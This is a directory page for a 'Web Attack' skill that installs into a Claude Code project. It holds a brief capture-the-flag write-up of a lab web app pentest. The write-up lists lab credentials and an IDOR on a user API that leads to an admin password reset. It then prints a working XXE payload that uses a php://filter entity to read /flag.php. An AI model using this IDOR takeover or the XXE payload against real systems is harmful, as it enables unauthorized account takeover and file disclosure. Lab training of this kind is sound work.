Performing a web app pentest for sof comanpym and task y iwth testing the lastest of their social network web app. Try to escalate your privileges and exploit different vulnerabilities to read the flag at '/flag.php'.
Installs into .claude/skills of the current project.
Are you the author of Web Attack?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anchovy317-web-attack)
# Scenario:
Performing a web app pentest for sof comanpym and task y iwth testing the lastest of their social network web app.
Try to escalate your privileges and exploit different vulnerabilities to read the flag at '/flag.php'.
## 94.237.53.52:5948
## Write up:
### Enumeration in caido
1. Log in the app with the creadentials:
- User htb-student
- Pass: Academy_student!
2. Login Requests in Caido:
- 301 redirect response following a successful login.
- 200 ok resposne
- Api get
3. Potential IDOR:
We'll focus on the dir /api.php/user/74
Then we cam enumerate the users and find de admin user for login. We can chage the password in the dir /reset.php.
Now we can access to the admin user ---> PWD
4.Exploit with php filetering
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY Test SYSTEM "php://filter/convert.base64-encode/resource=/flag.php">]>
<root>
<name>&Test;</name>
<details>test</details>
<date></date>
</root>
```
